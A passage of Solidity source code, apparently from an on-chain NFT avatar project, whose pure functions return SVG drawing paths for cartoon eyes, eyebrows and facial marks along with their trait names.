c-0.1,0.5-1.2,1.4-2.1,1.9c-2.6-1.9-6.2-3.8-11-4.3c-7.8-0.8-15.7,2-20.1,7.5c5.7-3.6,12.9-5.3,20.1-4.5 c6.4,0.8,12.4,2.9,16.5,6.9C253.3,205.1,252.3,204,251.5,203.5z"/>', '<path d="M250.3,198.6L250.3,198.6C250.4,198.2,250.4,198.3,250.3,198.6z"/>', '<path d="M252.4,200.3L252.4,200.3C252.5,199.9,252.5,200,252.4,200.3z"/>', '<path d="M228.2,192.6c1.1-0.3,2.3-0.5,3.5-0.6c1.1-0.1,2.4-0.1,3.5,0s2.4,0.3,3.5,0.5s2.3,0.6,3.3,1.1l0,0 c-1.1-0.3-2.3-0.6-3.4-0.8c-1.1-0.3-2.3-0.4-3.4-0.5c-1.1-0.1-2.4-0.2-3.5-0.1C230.5,192.3,229.4,192.4,228.2,192.6L228.2,192.6z"/>', '<path d="M224.5,193.8c-0.9,0.6-2,1.1-3,1.7c-0.9,0.6-2,1.2-3,1.7c0.4-0.4,0.8-0.8,1.2-1.1s0.9-0.7,1.4-0.9c0.5-0.3,1-0.6,1.5-0.8C223.3,194.2,223.9,193.9,224.5,193.8z"/>', '<path d="M161.3,195.8c-3.7,0.4-7.2,1.6-10.1,3.5c-0.6-0.3-2.8-1.6-3-2.3c0.1,0.7,0.3,2.6,1.1,3.3c0.1,0.1,0.2,0.2,0.3,0.2 c-0.2,0.2-0.4,0.3-0.6,0.5c-0.7-0.4-2.7-1.5-2.9-2.2c0.1,0.7,0.3,2.6,1.1,3.3c0.1,0.1,0.3,0.2,0.4,0.2c-0.8,0.8-1.6,1.9-2.2,2.9 c1.3-1.4,6.3-5,15.8-6.3c10.9-1.4,16.7,4.7,18,5.5C174.8,198.9,169.1,194.8,161.3,195.8z"/>', '<path d="M148.2,196.9L148.2,196.9C148.2,196.8,148.2,196.7,148.2,196.9z"/>', '<path d="M146.1,198.6L146.1,198.6C146.1,198.5,146.1,198.4,146.1,198.6z"/>', '<path d="M167.5,192.2c-1.1-0.2-2.3-0.3-3.5-0.3c-1.1,0-2.4,0-3.5,0.2c-1.1,0.1-2.3,0.3-3.4,0.5c-1.1,0.3-2.3,0.5-3.4,0.8 c2.1-0.9,4.3-1.5,6.7-1.7c1.1-0.1,2.4-0.1,3.5-0.1C165.3,191.7,166.4,191.9,167.5,192.2z"/>', '<path d="M171.4,193.4c0.6,0.2,1.1,0.3,1.7,0.6c0.5,0.3,1,0.5,1.6,0.8c0.5,0.3,1,0.6,1.4,0.9c0.5,0.3,0.9,0.7,1.3,1 c-1-0.5-2.1-1.1-3-1.6C173.3,194.5,172.3,193.9,171.4,193.4z"/>' ) ) ); } /// @dev Eyes N°25 => Arrow function item_25() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="1.5" stroke-linejoin="round" stroke-miterlimit="10" d="M251.4,192.5l-30.8,8 c10.9,1.9,20.7,5,29.5,9.1"/>', '<path fill="none" stroke="#000000" stroke-width="1.5" stroke-linejoin="round" stroke-miterlimit="10" d="M149.4,192.5l30.8,8 c-10.9,1.9-20.7,5-29.5,9.1"/>' ) ) ); } /// @dev Eyes N°26 => Closed function item_26() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" x1="216.3" y1="200.2" x2="259" y2="198.3"/>', '<line fill="none" stroke="#000000" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" x1="179.4" y1="200.2" x2="143.4" y2="198.3"/>' ) ) ); } /// @dev Eyes N°27 => Suspicious function item_27() public pure returns (string memory) { return base( string( abi.encodePacked( '<path opacity="0.81" fill="#FFFFFF" d="M220.3,202.5c-0.6,4.6,0.1,5.8,1.6,8.3 c0.9,1.5,1,2.5,8.2-1.2c6.1,0.4,8.2-1.6,16,2.5c3,0,4-3.8,5.1-7.7c0.6-2.2-0.2-4.6-2-5.9c-3.4-2.5-9-6-13.4-5.3 c-3.9,0.7-7.7,1.9-11.3,3.6C222.3,197.9,221,197.3,220.3,202.5z"/>', '<path d="M251.6,200c0.7-0.8,0.9-2.9,0.9-3.7c-0.1,0.6-1.3,1.5-2,2.2c-0.2-0.2-0.4-0.5-0.6-0.7c0.5-1,0.7-2.7,0.7-3.4 c-0.1,0.6-1.2,1.5-1.9,2.1c-2.4-2.2-5.8-4.4-10.4-4.9c-7.4-1-14.7,2.3-18.9,8.6c5.3-4.2,12.1-6,18.9-5.1c6,0.9,11.5,4,15.4,8.5 C253.6,203.4,252.9,201.9,251.6,200z"/>', '<path d="M250.5,194.4L250.5,194.4C250.6,194,250.6,194.1,250.5,194.4z"/>', '<path d="M252.4,196.3L252.4,196.3C252.5,195.9,252.5,196,252.4,196.3z"/>', '<path d="M229.6,187.6c1.1-0.3,2.1-0.6,3.3-0.7c1.1-0.1,2.2-0.1,3.3,0s2.2,0.3,3.3,0.6s2.1,0.7,3.1,1.3l0,0 c-1.1-0.3-2.1-0.7-3.2-0.9c-1.1-0.3-2.1-0.5-3.2-0.6c-1.1-0.1-2.2-0.2-3.3-0.1C231.9,187.2,230.8,187.3,229.6,187.6L229.6,187.6 z"/>', '<path d="M226.1,189c-0.9,0.7-1.8,1.3-2.8,1.9c-0.9,0.7-1.8,1.4-2.8,1.9c0.4-0.5,0.8-0.9,1.2-1.3c0.4-0.4,0.9-0.8,1.4-1.1 s1-0.7,1.5-0.9C225.1,189.4,225.7,189.1,226.1,189z"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M222,212.8c0,0,9.8-7.3,26.9,0"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M229,195.2c0,0-4.6,8.5,0.7,14.4 c0,0,8.8-1.5,11.6,0.4c0,0,4.7-5.7,1.5-12.5S229,195.2,229,195.2z"/>', '<path opacity="0.81" fill="#FFFFFF" d="M177.1,202.5c0.6,4.6-0.1,5.8-1.6,8.3 c-0.9,1.5-1,2.5-8.2-1.2c-6.1,0.4-8.2-1.6-16,2.5c-3,0-4-3.8-5.1-7.7c-0.6-2.2,0.2-4.6,2-5.9c3.4-2.5,9-6,13.4-5.3 c3.9,0.7,7.7,1.9,11.3,3.6C175.2,197.9,176.4,197.3,177.1,202.5z"/>', '<path d="M145.9,200c-0.7-0.8-0.9-2.9-0.9-3.7c0.1,0.6,1.3,1.5,2,2.2c0.2-0.2,0.4-0.5,0.6-0.7c-0.5-1-0.7-2.7-0.7-3.4 c0.1,0.6,1.2,1.5,1.9,2.1c2.4-2.2,5.8-4.4,10.4-4.9c7.4-1,14.7,2.3,18.9,8.6c-5.3-4.2-12.1-6-18.9-5.1c-6,0.9-11.5,4-15.4,8.5 C143.8,203.4,144.5,201.9,145.9,200z"/>', '<path d="M146.9,194.4L146.9,194.4C146.9,194,146.9,194.1,146.9,194.4z"/>', abi.encodePacked( '<path d="M145,196.3L145,196.3C144.9,195.9,144.9,196,145,196.3z"/>', '<path d="M167.8,187.6c-1.1-0.3-2.1-0.6-3.3-0.7c-1.1-0.1-2.2-0.1-3.3,0s-2.2,0.3-3.3,0.6s-2.1,0.7-3.1,1.3l0,0 c1.1-0.3,2.1-0.7,3.2-0.9c1.1-0.3,2.1-0.5,3.2-0.6c1.1-0.1,2.2-0.2,3.3-0.1C165.6,187.2,166.6,187.3,167.8,187.6L167.8,187.6z"/>', '<path d="M171.3,189c0.9,0.7,1.8,1.3,2.8,1.9c0.9,0.7,1.8,1.4,2.8,1.9c-0.4-0.5-0.8-0.9-1.2-1.3c-0.4-0.4-0.9-0.8-1.4-1.1 s-1-0.7-1.5-0.9C172.4,189.4,171.8,189.1,171.3,189z"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M175.4,212.8c0,0-9.8-7.3-26.9,0"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M168.5,195.2c0,0,4.6,8.5-0.7,14.4 c0,0-8.8-1.5-11.6,0.4c0,0-4.7-5.7-1.5-12.5S168.5,195.2,168.5,195.2z"/>' ) ) ) ); } /// @dev Eyes N°28 => Annoyed 1 function item_28() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="218" y1="195.2" x2="256" y2="195.2"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M234,195.5c0,5.1,4.1,9.2,9.2,9.2s9.2-4.1,9.2-9.2"/>', '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="143.2" y1="195.7" x2="181.1" y2="195.7"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M158.7,196c0,5.1,4.1,9.2,9.2,9.2c5.1,0,9.2-4.1,9.2-9.2"/>' ) ) ); } /// @dev Eyes N°29 => Annoyed 2 function item_29() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="218" y1="195.2" x2="256" y2="195.2"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M228,195.5c0,5.1,4.1,9.2,9.2,9.2s9.2-4.1,9.2-9.2"/>', '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="143.2" y1="195.7" x2="181.1" y2="195.7"/>', '<path stroke="#000000" stroke-miterlimit="10" d="M152.7,196c0,5.1,4.1,9.2,9.2,9.2c5.1,0,9.2-4.1,9.2-9.2"/>' ) ) ); } /// @dev Eyes N°30 => RIP function item_30() public pure returns (string memory) { return base( string( abi.encodePacked( '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="225.7" y1="190.8" x2="242.7" y2="207.8"/>', '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="225.7" y1="207.8" x2="243.1" y2="190.8"/>', '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="152.8" y1="190.8" x2="169.8" y2="207.8"/>', '<line fill="none" stroke="#000000" stroke-width="3" stroke-linecap="square" stroke-miterlimit="10" x1="152.8" y1="207.8" x2="170.3" y2="190.8"/>' ) ) ); } /// @dev Eyes N°31 => Heart function item_31() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#F44336" stroke="#C90005" stroke-miterlimit="10" d="M161.1,218.1c0.2,0.2,0.4,0.3,0.7,0.3s0.5-0.1,0.7-0.3l12.8-14.1 c5.3-5.9,1.5-16-6-16c-4.6,0-6.7,3.6-7.5,4.3c-0.8-0.7-2.9-4.3-7.5-4.3c-7.6,0-11.4,10.1-6,16L161.1,218.1z"/>', '<path fill="#F44336" stroke="#C90005" stroke-miterlimit="10" d="M235.3,218.1c0.2,0.2,0.5,0.3,0.8,0.3s0.6-0.1,0.8-0.3l13.9-14.1 c5.8-5.9,1.7-16-6.6-16c-4.9,0-7.2,3.6-8.1,4.3c-0.9-0.7-3.1-4.3-8.1-4.3c-8.2,0-12.4,10.1-6.6,16L235.3,218.1z"/>' ) ) ); } /// @dev Eyes N°32 => Scribble function item_32() public pure returns (string memory) { return base( string( abi.encodePacked( '<polyline fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" points="222.5,195.2 252.2,195.2 222.5,199.4 250.5,199.4 223.9,202.8 247.4,202.8"/>', '<polyline fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" points="148.2,195.2 177.9,195.2 148.2,199.4 176.2,199.4 149.6,202.8 173.1,202.8"/>' ) ) ); } /// @dev Eyes N°33 => Wide function item_33() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" cx="236.7" cy="200.1" rx="12.6" ry="14.9"/>', '<path d="M249.4,200.1c0,3.6-1,7.3-3.2,10.3c-1.1,1.5-2.5,2.8-4.1,3.7s-3.5,1.4-5.4,1.4s-3.7-0.6-5.3-1.5s-3-2.2-4.1-3.6c-2.2-2.9-3.4-6.5-3.5-10.2c-0.1-3.6,1-7.4,3.3-10.4c1.1-1.5,2.6-2.7,4.2-3.6c1.6-0.9,3.5-1.4,5.4-1.4s3.8,0.5,5.4,1.4c1.6,0.9,3,2.2,4.1,3.7C248.4,192.9,249.4,196.5,249.4,200.1z M249.3,200.1c0-1.8-0.3-3.6-0.9-5.3c-0.6-1.7-1.5-3.2-2.6-4.6c-2.2-2.7-5.5-4.5-9-4.5s-6.7,1.8-8.9,4.6c-2.2,2.7-3.3,6.2-3.4,9.8c-0.1,3.5,1,7.2,3.2,10s5.6,4.6,9.1,4.5c3.5,0,6.8-1.9,9-4.6C248,207.3,249.3,203.7,249.3,200.1z"/>', '<ellipse fill-rule="evenodd" clip-rule="evenodd" fill="#FFFFFF" cx="163" cy="200.1" rx="12.6" ry="14.9"/>', '<path d="M175.6,200.1c0,3.6-1,7.3-3.2,10.3c-1.1,1.5-2.5,2.8-4.1,3.7s-3.5,1.4-5.4,1.4s-3.7-0.6-5.3-1.5s-3-2.2-4.1-3.6c-2.2-2.9-3.4-6.5-3.5-10.2c-0.1-3.6,1-7.4,3.3-10.4c1.1-1.5,2.6-2.7,4.2-3.6c1.6-0.9,3.5-1.4,5.4-1.4s3.8,0.5,5.4,1.4c1.6,0.9,3,2.2,4.1,3.7C174.6,192.9,175.6,196.5,175.6,200.1z M175.5,200.1c0-1.8-0.3-3.6-0.9-5.3c-0.6-1.7-1.5-3.2-2.6-4.6c-2.2-2.7-5.5-4.5-9-4.5s-6.7,1.8-8.9,4.6c-2.2,2.7-3.3,6.2-3.4,9.8c-0.1,3.5,1,7.2,3.2,10s5.6,4.6,9.1,4.5c3.5,0,6.8-1.9,9-4.6C174.3,207.3,175.5,203.7,175.5,200.1z"/>' ) ) ); } /// @dev Eyes N°34 => Dubu function item_34() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M241.6,195.9c-8.7-7.2-25.1-4-4.7,6.6c-21.9-4.3-3.4,11.8,4.7,6.1"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M167.6,195.9c-8.7-7.2-25.1-4-4.7,6.6c-21.9-4.3-3.4,11.8,4.7,6.1"/>' ) ) ); } /// @dev Right and left eyes (color pupils + eyes) function eyesNoFillAndColorPupils(string memory scleraColor, string memory pupilsColor) private pure returns (string memory) { return base(string(abi.encodePacked(eyesNoFill(scleraColor), colorPupils(pupilsColor)))); } /// @dev Right and left eyes (blank pupils + eyes) function eyesNoFillAndBlankPupils(string memory scleraColor, string memory pupilsColor) private pure returns (string memory) { return base(string(abi.encodePacked(eyesNoFill(scleraColor), blankPupils(pupilsColor)))); } /// @dev Right and left eyes function eyesNoFill(string memory scleraColor) private pure returns (string memory) { return string(abi.encodePacked(eyeLeftNoFill(scleraColor), eyeRightNoFill(scleraColor))); } /// @dev Eye right and no fill function eyeRightNoFill(string memory scleraColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", scleraColor, "' d='M220.9,203.6c0.5,3.1,1.7,9.6,7.1,10.1 c7,1.1,21,4.3,23.2-9.3c1.3-7.1-9.8-11.4-15.4-11.2C230.7,194.7,220.5,194.7,220.9,203.6z'/>", '<path d="M250.4,198.6c-0.2-0.2-0.4-0.5-0.6-0.7"/>', '<path d="M248.6,196.6c-7.6-7.9-23.4-6.2-29.3,3.7c10-8.2,26.2-6.7,34.4,3.4c0-0.3-0.7-1.8-2-3.7"/>', '<path d="M229.6,187.6c4.2-1.3,9.1-1,13,1.2C238.4,187.4,234,186.6,229.6,187.6L229.6,187.6z"/>', '<path d="M226.1,189c-1.8,1.3-3.7,2.7-5.6,3.9C221.9,191.1,224,189.6,226.1,189z"/>', '<path d="M224.5,212.4c5.2,2.5,19.7,3.5,24-0.9C244.2,216.8,229.6,215.8,224.5,212.4z"/>' ) ); } /// @dev Eye right and no fill function eyeLeftNoFill(string memory scleraColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", scleraColor, "' d='M175.7,199.4c2.4,7.1-0.6,13.3-4.1,13.9 c-5,0.8-15.8,1-18.8,0c-5-1.7-6.1-12.4-6.1-12.4C156.6,191.4,165,189.5,175.7,199.4z'/>", '<path d="M147.5,198.7c-0.8,1-1.5,2.1-2,3.3c7.5-8.5,24.7-10.3,31.7-0.9c-5.8-10.3-17.5-13-26.4-5.8"/>', '<path d="M149.4,196.6c-0.2,0.2-0.4,0.4-0.6,0.6"/>', '<path d="M166.2,187.1c-4.3-0.8-8.8,0.1-13,1.4C157,186.4,162,185.8,166.2,187.1z"/>', '<path d="M169.8,188.5c2.2,0.8,4.1,2.2,5.6,3.8C173.5,191.1,171.6,189.7,169.8,188.5z"/>', '<path d="M174.4,211.8c-0.2,0.5-0.8,0.8-1.2,1c-0.5,0.2-1,0.4-1.5,0.6c-1,0.3-2.1,0.5-3.1,0.7c-2.1,0.4-4.2,0.5-6.3,0.7 c-2.1,0.1-4.3,0.1-6.4-0.3c-1.1-0.2-2.1-0.5-3.1-0.9c-0.9-0.5-2-1.1-2.4-2.1c0.6,0.9,1.6,1.4,2.5,1.7c1,0.3,2,0.6,3,0.7 c2.1,0.3,4.2,0.3,6.2,0.2c2.1-0.1,4.2-0.2,6.3-0.5c1-0.1,2.1-0.3,3.1-0.5c0.5-0.1,1-0.2,1.5-0.4c0.2-0.1,0.5-0.2,0.7-0.3 C174.1,212.2,174.3,212.1,174.4,211.8z"/>' ) ); } /// @dev Generate color pupils function colorPupils(string memory pupilsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", pupilsColor, "' d='M235,194.9c10.6-0.2,10.6,19,0,18.8C224.4,213.9,224.4,194.7,235,194.9z'/>", '<path d="M235,199.5c3.9-0.1,3.9,9.6,0,9.5C231.1,209.1,231.1,199.4,235,199.5z"/>', '<path fill="#FFFFFF" d="M239.1,200.9c3.4,0,3.4,2.5,0,2.5C235.7,203.4,235.7,200.8,239.1,200.9z"/>', "<path fill='#", pupilsColor, "' d='M161.9,194.6c10.5-0.4,11,18.9,0.4,18.9C151.7,213.9,151.3,194.6,161.9,194.6z'/>", '<path d="M162,199.2c3.9-0.2,4.1,9.5,0.2,9.5C158.2,208.9,158.1,199.2,162,199.2z"/>', '<path fill="#FFFFFF" d="M157.9,200.7c3.4-0.1,3.4,2.5,0,2.5C154.6,203.3,154.5,200.7,157.9,200.7z"/>' ) ); } /// @dev Generate blank pupils function blankPupils(string memory pupilsColor) private pure returns (string memory) { return string( abi.encodePacked( abi.encodePacked( "<path fill='#", pupilsColor, "' stroke='#000000' stroke-width='0.25' stroke-miterlimit='10' d='M169.2,204.2c0.1,11.3-14.1,11.3-13.9,0C155.1,192.9,169.3,192.9,169.2,204.2z'/>", "<path fill='#", pupilsColor, "' stroke='#000000' stroke-width='0.25' stroke-miterlimit='10' d='M243.1,204.3c0.1,11.3-14.1,11.3-13.9,0C229,193,243.2,193,243.1,204.3z'/>" ) ) ); } /// @notice Return the eyes name of the given id /// @param id The eyes Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Color White/Brown"; } else if (id == 2) { name = "Color White/Gray"; } else if (id == 3) { name = "Color White/Blue"; } else if (id == 4) { name = "Color White/Green"; } else if (id == 5) { name = "Color White/Black"; } else if (id == 6) { name = "Color White/Yellow"; } else if (id == 7) { name = "Color White/Red"; } else if (id == 8) { name = "Color White/Purple"; } else if (id == 9) { name = "Color White/Pink"; } else if (id == 10) { name = "Color White/White"; } else if (id == 11) { name = "Color Black/Blue"; } else if (id == 12) { name = "Color Black/Yellow"; } else if (id == 13) { name = "Color Black/White"; } else if (id == 14) { name = "Color Black/Red"; } else if (id == 15) { name = "Blank White/White"; } else if (id == 16) { name = "Blank Black/White"; } else if (id == 17) { name = "Shine"; } else if (id == 18) { name = "Stunt"; } else if (id == 19) { name = "Squint"; } else if (id == 20) { name = "Shock"; } else if (id == 21) { name = "Cat"; } else if (id == 22) { name = "Ether"; } else if (id == 23) { name = "Feels"; } else if (id == 24) { name = "Happy"; } else if (id == 25) { name = "Arrow"; } else if (id == 26) { name = "Closed"; } else if (id == 27) { name = "Suspicious"; } else if (id == 28) { name = "Annoyed 1"; } else if (id == 29) { name = "Annoyed 2"; } else if (id == 30) { name = "RIP"; } else if (id == 31) { name = "Heart"; } else if (id == 32) { name = "Scribble"; } else if (id == 33) { name = "Wide"; } else if (id == 34) { name = "Dubu"; } } /// @dev The base SVG for the eyes function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Eyes">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Eyebrow SVG generator library EyebrowDetail { /// @dev Eyebrow N°1 => Classic function item_1() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#150000" d="M213.9,183.1c13.9-5.6,28.6-3,42.7-0.2C244,175,225.8,172.6,213.9,183.1z"/>', '<path fill="#150000" d="M179.8,183.1c-10.7-10.5-27-8.5-38.3-0.5C154.1,179.7,167.6,177.5,179.8,183.1z"/>' ) ) ); } /// @dev Eyebrow N°2 => Thick function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M211.3,177.6c0,0,28.6-6.6,36.2-6.2c7.7,0.4,13,3,16.7,6.4c0,0-26.9,5.3-38.9,5.9C213.3,184.3,212.9,183.8,211.3,177.6z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M188.2,177.6c0,0-27.9-6.7-35.4-6.3c-7.5,0.4-12.7,2.9-16.2,6.3c0,0,26.3,5.3,38,6C186.2,184.3,186.7,183.7,188.2,177.6z"/>' ) ) ); } /// @dev Eyebrow N°3 => Punk function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M258.6,179.1l-2-2.3 c3.1,0.4,5.6,1,7.6,1.7C264.2,178.6,262,178.8,258.6,179.1z M249.7,176.3c-0.7,0-1.5,0-2.3,0c-7.6,0-36.1,3.2-36.1,3.2 c-0.4,2.9-3.8,3.5,8.1,3c6.6-0.3,23.6-2,32.3-2.8L249.7,176.3z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M140.2,179.1l1.9-2.3 c-3,0.4-5.4,1-7.3,1.7C134.8,178.6,136.9,178.8,140.2,179.1z M148.8,176.3c0.7,0,1.4,0,2.2,0c7.3,0,34.7,3.2,34.7,3.2 c0.4,2.9,3.6,3.5-7.8,3c-6.3-0.3-22.7-2-31-2.8L148.8,176.3z"/>' ) ) ); } /// @dev Eyebrow N°4 => Small function item_4() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" d="M236.3,177c-11.3-5.1-18-3.1-20.3-2.1c-0.1,0-0.2,0.1-0.3,0.2c-0.3,0.1-0.5,0.3-0.6,0.3l0,0l0,0l0,0c-1,0.7-1.7,1.7-1.9,3c-0.5,2.6,1.2,5,3.8,5.5s5-1.2,5.5-3.8c0.1-0.3,0.1-0.6,0.1-1C227.4,175.6,236.3,177,236.3,177z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" d="M160.2,176.3c10.8-4.6,17.1-2.5,19.2-1.3c0.1,0,0.2,0.1,0.3,0.2c0.3,0.1,0.4,0.3,0.5,0.3l0,0l0,0l0,0c0.9,0.7,1.6,1.8,1.8,3.1c0.4,2.6-1.2,5-3.7,5.4s-4.7-1.4-5.1-4c-0.1-0.3-0.1-0.6-0.1-1C168.6,175.2,160.2,176.3,160.2,176.3z"/>' ) ) ); } /// @dev Eyebrow N°5 => Shaved function item_5() public pure returns (string memory) { return base( string( abi.encodePacked( '<g opacity="0.06">', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M214.5,178 c0,0,20.6-3.5,26.1-3.3s9.4,1.6,12,3.4c0,0-19.4,2.8-28,3.1C215.9,181.6,215.6,181.3,214.5,178z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" stroke="#000000" stroke-miterlimit="10" d="M180.8,178 c0,0-20.1-3.6-25.5-3.4c-5.4,0.2-9.1,1.5-11.7,3.4c0,0,18.9,2.8,27.4,3.2C179.4,181.6,179.8,181.3,180.8,178z"/>', "</g>" ) ) ); } /// @dev Eyebrow N°6 => Elektric function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" d="M208.9,177.6c14.6-1.5,47.8-6.5,51.6-6.6l-14.4,4.1l19.7,3.2 c-20.2-0.4-40.9-0.1-59.2,2.6C206.6,179.9,207.6,178.5,208.9,177.6z"/>', '<path fill-rule="evenodd" clip-rule="evenodd" d="M185.1,177.7c-13.3-1.5-43.3-6.7-46.7-6.9l13.1,4.2l-17.8,3.1 c18.2-0.3,37,0.1,53.6,2.9C187.2,180,186.2,178.6,185.1,177.7z"/>' ) ) ); } /// @notice Return the eyebrow name of the given id /// @param id The eyebrow Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Thick"; } else if (id == 3) { name = "Punk"; } else if (id == 4) { name = "Small"; } else if (id == 5) { name = "Shaved"; } else if (id == 6) { name = "Elektric"; } } /// @dev The base SVG for the Eyebrow function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Eyebrow">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Mark SVG generator library MarkDetail { /// @dev Mark N°1 => Classic function item_1() public pure returns (string memory) { return ""; } /// @dev Mark N°2 => Blush Cheeks function item_2() public pure returns (string memory) { return base( string( abi.encodePacked( '<g opacity="0.71">', '<ellipse fill="#FF7478" cx="257.6" cy="221.2" rx="11.6" ry="3.6"/>', '<ellipse fill="#FF7478" cx="146.9" cy="221.5" rx="9.6" ry="3.6"/>', "</g>" ) ) ); } /// @dev Mark N°3 => Dark Circle function item_3() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M160.1,223.2c4.4,0.2,8.7-1.3,12.7-3.2C169.3,222.7,164.4,223.9,160.1,223.2z"/>', '<path d="M156.4,222.4c-2.2-0.4-4.3-1.6-6.1-3C152.3,220.3,154.4,221.4,156.4,222.4z"/>', '<path d="M234.5,222.7c4.9,0.1,9.7-1.4,14.1-3.4C244.7,222.1,239.3,223.4,234.5,222.7z"/>', '<path d="M230.3,221.9c-2.5-0.4-4.8-1.5-6.7-2.9C225.9,219.9,228.2,221,230.3,221.9z"/>' ) ) ); } /// @dev Mark N°4 => Chin scar function item_4() public pure returns (string memory) { return base( string( abi.encodePacked( '<path fill="#E83342" d="M195.5,285.7l17,8.9C212.5,294.6,206.1,288.4,195.5,285.7z"/>', '<path fill="#E83342" d="M211.2,285.7l-17,8.9C194.1,294.6,200.6,288.4,211.2,285.7z"/>' ) ) ); } /// @dev Mark N°5 => Blush function item_5() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse opacity="0.52" fill-rule="evenodd" clip-rule="evenodd" fill="#FF7F83" cx="196.8" cy="222" rx="32.8" ry="1.9"/>' ) ) ); } /// @dev Mark N°6 => Chin function item_6() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M201.3,291.9c0.2-0.6,0.4-1.3,1-1.8c0.3-0.2,0.7-0.4,1.1-0.3c0.4,0.1,0.7,0.4,0.9,0.7c0.4,0.6,0.5,1.4,0.5,2.1 c0,0.7-0.3,1.5-0.8,2c-0.5,0.6-1.3,0.9-2.1,0.8c-0.8-0.1-1.5-0.5-2-0.9c-0.6-0.4-1.1-1-1.5-1.6c-0.4-0.6-0.6-1.4-0.6-2.2 c0.2-1.6,1.4-2.8,2.7-3.4c1.3-0.6,2.8-0.8,4.2-0.5c0.7,0.1,1.4,0.4,2,0.9c0.6,0.5,0.9,1.2,1,1.9c0.2,1.4-0.2,2.9-1.2,3.9 c0.7-1.1,1-2.5,0.7-3.8c-0.2-0.6-0.5-1.2-1-1.5c-0.5-0.4-1.1-0.6-1.7-0.6c-1.3-0.1-2.6,0-3.7,0.6c-1.1,0.5-2,1.5-2.1,2.6 c-0.1,1.1,0.7,2.2,1.6,3c0.5,0.4,1,0.8,1.5,0.8c0.5,0.1,1.1-0.1,1.5-0.5c0.4-0.4,0.7-0.9,0.7-1.6c0.1-0.6,0-1.3-0.3-1.8 c-0.1-0.3-0.4-0.5-0.6-0.6c-0.3-0.1-0.6,0-0.8,0.1C201.9,290.7,201.5,291.3,201.3,291.9z"/>' ) ) ); } /// @dev Mark N°7 => Yinyang function item_7() public pure returns (string memory) { return base( string( abi.encodePacked( '<path opacity="0.86" d="M211.5,161.1c0-8.2-6.7-14.9-14.9-14.9c-0.2,0-0.3,0-0.5,0l0,0 H196c-0.1,0-0.2,0-0.2,0c-0.2,0-0.4,0-0.5,0c-7.5,0.7-13.5,7.1-13.5,14.8c0,8.2,6.7,14.9,14.9,14.9 C204.8,176,211.5,169.3,211.5,161.1z M198.4,154.2c0,1-0.8,1.9-1.9,1.9c-1,0-1.9-0.8-1.9-1.9c0-1,0.8-1.9,1.9-1.9 C197.6,152.3,198.4,153.1,198.4,154.2z M202.9,168.2c0,3.6-3.1,6.6-6.9,6.6l0,0c-7.3-0.3-13.2-6.3-13.2-13.7c0-6,3.9-11.2,9.3-13 